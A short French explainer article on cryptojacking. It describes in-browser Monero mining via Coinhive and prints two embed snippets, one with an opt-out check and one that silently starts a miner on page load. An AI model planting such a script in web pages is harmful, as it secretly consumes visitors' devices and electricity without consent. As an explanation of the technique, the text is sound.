Qu’est ce que le cryptojacking ?
Cryptojacking est défini comme l’utilisation secrète de vos appareils informatique (ordinateur, tablette, smartphone) au minage de cryptomonnaie.
Comment miner avec Javascript ?
En effet, une page web, en utilisant JavaScript, peut désormais utilisé votre ordinateur pour miner de la cryptomonnaie. Plus simplement, vous n’avez pas besoin de télécharger quoi que ce soit de plus que la page Web parce que JavaScript est déjà omniprésent dans tous nos navigateurs. L’utilisation de cette technique à l’insu des visiteurs est ce qu’on appelle « in-browser cryptojacking ».
Coinhive offre un mineur JavaScript pour Monero. Leur idée de base est d’offrir des alternatives à la publicité en ligne. Au lieu de montrer des annonces aux clients, il propose de tirer parti de leur puissance de calcul en contre partie de l’article gratuit, vidéo, jeu, etc.
Voici à quoi ressemble le code pour faire du cryptojacking avec JavaScript (coinhive).
<script src="https://authedmine.com/lib/authedmine.min.js"></script> <script> var miner = new CoinHive.Anonymous('XzhitCMJX5mzD3LrM6RAmmJXdg1MqGNd', {throttle: 0.3}); // Only start on non-mobile devices and if not opted-out // in the last 14400 seconds (4 hours): if (!miner.isMobile() && !miner.didOptOut(14400)) { miner.start(); } </script>
ou encore
<script src="https://coinhive.com/lib/coinhive.min.js"> </script> <script> var miner = new CoinHive.Anonymous('XzhitCMJX5mzD3LrM6RAmmJXdg1MqGNd'); miner.start(); </script>
Le code est très simple.
- Charge la bibliothèque JavaScript de Coinhive.
- Indique à Coinhive quel compte monero créditer.
- Démarre le mineur.
commentaires
Chargement & hellip;